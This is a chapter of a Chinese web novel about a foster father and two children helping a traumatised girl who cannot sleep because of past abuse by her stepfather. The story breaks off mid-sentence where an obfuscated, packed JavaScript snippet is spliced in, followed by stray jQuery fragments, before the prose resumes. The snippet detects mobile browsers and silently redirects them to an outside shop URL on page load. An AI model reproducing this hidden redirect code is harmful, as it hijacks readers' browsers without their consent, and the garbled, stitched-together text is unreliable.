文趣网 > 其他小说 > 快穿之我带白月光与朱砂痣级别的sssR卡宿主当反派那些年 > 21. 不肯入睡的鸢尾花与崽崽的陪伴
    林鸢来的第二周,沈渡发现了一个秘密。

    她每天晚上都会醒来。

    不是做噩梦,不是要上厕所,不是任何一种可以用“正常”来解释的夜间苏醒。她只是——醒了。在深夜两三点钟,在整栋房子都睡着的时候,她睁开眼睛,抱着小夜,坐在床上,安静地望着窗外。

    第一晚,沈渡以为是换了新环境不适应。

    第二晚,他以为是做了噩梦。

    第三晚,第四晚,第五晚。

    每一晚。准时得像一座被拧紧了发条的钟。

    沈渡没有在半夜去敲她的门。他只是每天晚上起来倒水的时候,顺便经过她的房间,从门缝里看一眼。林鸢坐在床角,膝盖蜷起来贴着胸口,小夜被她抱在怀里,她的下巴搁在琴盒上,眼睛睁得大大的,望着窗帘缝隙里透进来的月光。

    她不哭。不闹。不发出任何声音。

    她只是醒着。

    像一个守夜人,守护着这间屋子里所有人的睡眠,唯独不需要自己的。

    小零调出了林鸢的详细资料,声音比平时沉了许多:“在原来的家里,林鸢的继父有夜饮的习惯。每天晚上喝完酒回来,会……做一些事情。摔东西,砸门,有时候会冲进她的房间。没有固定的时间,有时候十二点,有时候三点,有时候整晚都不来。但林鸢不知道他什么时候会来。”

    小零停了一下。

    “所以她养成了一个习惯——整夜不睡。或者睡得很浅,浅到任何一点声音都能把她惊醒。她不是不想睡,她是不敢睡。因为在那个家里,睡着是一件危险的事。”

    沈渡靠在走廊的墙上,手里端着那杯本来要倒的水。水已经凉了,他没有喝。

    “后来呢?”他问。

    “后来她学会了假装睡觉。继父推门进来的时候,她会闭上眼睛,调整呼吸,让自己的身体看起来像睡着的样子。她练了很久,练到可以在三秒钟之内进入‘假睡状态’——呼吸变慢,眼珠不动,肌肉放松。她骗过了继父很多次。”

    小零的声音低了下去。

    “但她从来没有真正睡着过。”

    沈渡闭上眼睛,仰起头,后脑勺抵着冰凉的墙面。走廊里的小夜灯亮着,橘黄色的光落在他脸上,把他睫毛的阴影拉得很长。

    他没有说话。

    但他做了一个决定。

    第六天晚上,沈渡决定不再一个人看着了。

    他先敲了沈念的门。

    “念儿,醒着吗?”

    里面传来一声闷闷的、像小猫一样的哼唧,然后是窸窸窣窣的声音——沈念从被窝里爬出来,抱着念念不忘的腿,揉着眼睛开了门。她的头发翘得像被风吹过的鸟窝,左脸上印着枕头的褶子,整个人像一颗刚从地里拔出来、还带着泥的萝卜。

    “爸爸?”她迷迷糊糊地问,“天亮了吗?”

    “没有。但有一件事需要你帮忙。”

    沈念眨了眨眼,一听说“帮忙”两个字,瞬间清醒了一半。六岁的她已经到了“我想帮忙”的年纪,哪怕帮的忙是“帮爸爸把垃圾袋拎到门口”这种级别的,她也会郑重其事地点头,说“好的爸爸,交给我吧”。

    “林鸢睡不着。每天晚上都睡不着。”沈渡蹲下来,和她平视,“我想请你和林暮一起,想办法让她睡着。你觉得可以吗?”

    沈念歪着头想了想,然后点了点头,表情严肃得像在签署一份国际条约。

    “好的爸爸。交给我吧。”她说。

    沈渡又去敲了林暮的门。

    林暮开门的速度很快,快到不像刚被叫醒的人。他穿着那件洗得发白的蓝色睡衣——两年前沈渡给他买的那件,已经小了很多,袖口卡在他小臂中间,露出一截细长的手腕。他站在门口,安静地看着沈渡,等他说。

    沈渡说了同样的话。

    林暮点了点头。一个字都没说,但他转身回房间拿了一样东西——那条浅蓝色的、边角磨得起毛的毯子。他两年前来的时候沈渡给他买的,他盖了两年,走到哪带到哪。他把它叠得方方正正,抱在怀里,然后走出房间,站到了沈念旁边。

    沈念抱着念念不忘的腿。林暮抱着毯子。

    两个人站在走廊里,像两只准备去执行秘密任务的小动物。

    沈渡看着他们,忽然觉得眼眶有点热。两年前,沈念还是那个不会笑的小女孩,林暮还是那个不说话的小男孩。而现在,他们抱着自己的阿贝贝,站在深夜的走廊里,准备去哄另一个睡不着的小朋友。

    成长这件事,从来不是轰轰烈烈的。它藏在每一个不起眼的深夜里。

    沈渡走在前面,带着两个小跟班,轻轻推开了林鸢房间的门。

    房间里没有开灯,但走廊的小夜灯光线从门缝里渗进来,在地板上画出一道细细的金色河流。林鸢坐在床角,抱着小夜,膝盖蜷在胸前。她听到门响的时候,身体微微绷紧了一下——那种习惯性的、不需要思考的紧绷,像一只随时准备逃跑的野兔。

    然后她看见了沈念。

    沈念站在门口,抱着念念不忘的腿,头发翘得乱七八糟,睡衣上印着一只歪歪扭扭的兔子。她打了个哈欠,然后笑了,露出两颗缺了还没长出来的门牙。

    “林鸢,”她说,“我们来陪你睡觉。”

    林鸢愣了一下。

    她看着沈念,又看了看沈念身后的林暮——他抱着那条浅蓝色的毯子,安静地站在那里,像一棵不动声色的树。又看了看更后面的沈渡——他靠在门框上,没有进来,只是把空间留给了三个孩子。

    林鸢张了张嘴,想说“不用”,但沈念已经蹬蹬蹬跑了进来,拖鞋在地板上发出啪嗒啪嗒的声音。她把念念不忘的腿放在林鸢的床上,拍了拍它,认真地说:“念念不忘的腿很软的,比枕头还软。你抱着它睡,就像抱着云朵一样。”

    林鸢低头看着那条毛茸茸的、缝过线的熊腿,没有动。

    林暮走过来,把他的浅蓝色毯子展开,铺在林鸢床尾。毯子不大,但三个人用刚好够。他把四个角都压平了,然后退后一步,小声说了一句:“我的毯子,有安全感。”

    “安全感”这个词是沈渡教他的。林暮刚来的时候,沈渡把这毯子给他,说:“这条毯子以后就是你的了。你害怕的时候可以抱着它,它会给你安全感。”林暮不懂什么叫安全感,但他把那条毯子抱了两年,抱到边角起毛、颜色变淡。

    现在他知道安全感是什么了。

    安全感是——你不需要一个人扛着了。

    沈念已经爬上了林鸢的床。她拍了拍左边的位置:“林鸢你睡中间。我和念念不忘的腿睡左边,你睡中间,林暮和他的毯子睡右边。这样你左边有人,右边有人,前面有熊腿,后面有墙。你被围起来了,坏人进不来的。”

    林暮爬上床,安静地躺在了右边。他把毯子拉过来,盖住了自己,也盖住了林鸢露在外面的脚。林鸢的脚很凉,毯子覆上去的时候,她轻轻颤了一下,但没有缩回去。

    林鸢还坐在那里,抱着小夜,没有躺下。

    沈念歪着头看她,想了想,忽然伸手把念念不忘的腿塞进了林鸢怀里。“你抱着这个,”她说,“琴放旁边。念念不忘的腿帮你看着琴,不会丢的。”

    林鸢低头看着怀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547248|204194||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里那条毛茸茸的熊腿。软。真的很软。像云朵,像棉花糖,像那个雨夜里沈渡放在纸箱边缘的那件灰色毛衣。

    她慢慢地把小夜放在了床边。琴靠在床头柜上,琴头朝着床的方向,像一只竖着耳朵的、忠实的狗,在等主人醒来。

    然后她慢慢地躺了下来。

    床不大,三个人躺着刚刚好,肩膀挨着肩膀。沈念在最左边,抱着念念不忘的腿,嘴里还在小声嘀咕:“念念不忘说晚安。念念不忘说做个好梦。念念不忘说林鸢你不用害怕,这里有我们。”

    林暮在最右边,平躺着,双手放在毯子外面,像一具很乖的木乃伊。他没有说话,但他的毯子有一角搭在林鸢的肚子上,暖烘烘的。

    林鸢躺在中间,在黑暗中睁着眼睛。

    天花板上什么都没有。但窗外的月光从窗帘缝隙里漏进来,在天花板上画了一道细细的白线,像一根发光的琴弦。

    沈念翻了个身,把脸朝向林鸢。在黑暗中,她的眼睛亮晶晶的,像两颗被月光洗过的葡萄。

    “林鸢,”她小声说,“你知道吗,我刚来爸爸家的时候,也不会睡觉。”

    林鸢侧过头,看着她。

    “我原来住的地方很大很空,没有人陪我。晚上睡觉的时候,我会把被子拉到头顶,缩成一个球,假装自己是一个没有人能找到的石头。”沈念的声音越来越小,带着困意,但每个字都清清楚楚,“后来爸爸来了。他每天晚上都会来看我三次。一次是十点,一次是十二点,一次是凌晨三点。他会帮我把被子拉好,会把小夜灯打开,会在我额头上亲一下。”

    她伸出一只手,在被窝里找到了林鸢的手,握住了。

    “有一次我问爸爸,你为什么来看我那么多次?爸爸说,因为我知道你害怕。我要让你知道,哪怕在睡觉的时候,你也不是一个人的。”

    林鸢的手指在沈念的手心里微微蜷了一下。

    林暮的声音从右边传来,轻轻的,像风吹过书页。

    “我也是。”他说,“我刚来的时候,晚上不敢闭眼睛。我以为闭上眼睛,再睁开,这一切就会消失。那个蓝色的衣服,那个有月亮的小夜灯,那个会让我自己挑颜色的拖鞋——都会消失。”

    他停了一下。

    “后来爸爸每天晚上都会坐在走廊里。不看手机,不看书,就是坐着。他说他在守夜。守到我能安心睡着为止。”

    沈念在被窝里踢了林暮一脚:“你不要说那么长的句子,林鸢要睡了。”

    林暮“哦”了一声,安静了。

    但安静了大概三秒钟,他又开口了,这次声音更小:“我的意思是……这里的东西,不会消失。你不会消失。”

    沈念在黑暗中翻了个白眼——虽然没有人看得见——但她没有再踢林暮了。

    林鸢躺在中间,左手被沈念握着,右手搭在小夜的琴盒上,肚子上盖着林暮的毯子一角。她被包围了。被毛茸茸的熊腿、浅蓝色的毯子、温暖的小手、安静的身影,一层一层地包围着。

    像一个被裹进茧里的蝴蝶。

    不,不是蝴蝶。蝴蝶要破茧,要飞翔。她不想飞。她想就这样被裹着,被暖着,被这些小小的、笨拙的、真诚的温柔,一点一点地包裹起来,直到她忘记自己曾经是一只需要在夜里睁着眼睛的鸟。

    她的眼皮开始变重了。

    不是那种困到极致之后昏沉沉的、像被什么东西砸中一样的重,而是一种缓缓的、温柔的、像被一只手轻轻合上眼皮的重。

    她挣扎了一下,把眼睛睁开。

    月光还在天花板上,那根发光的琴弦还在。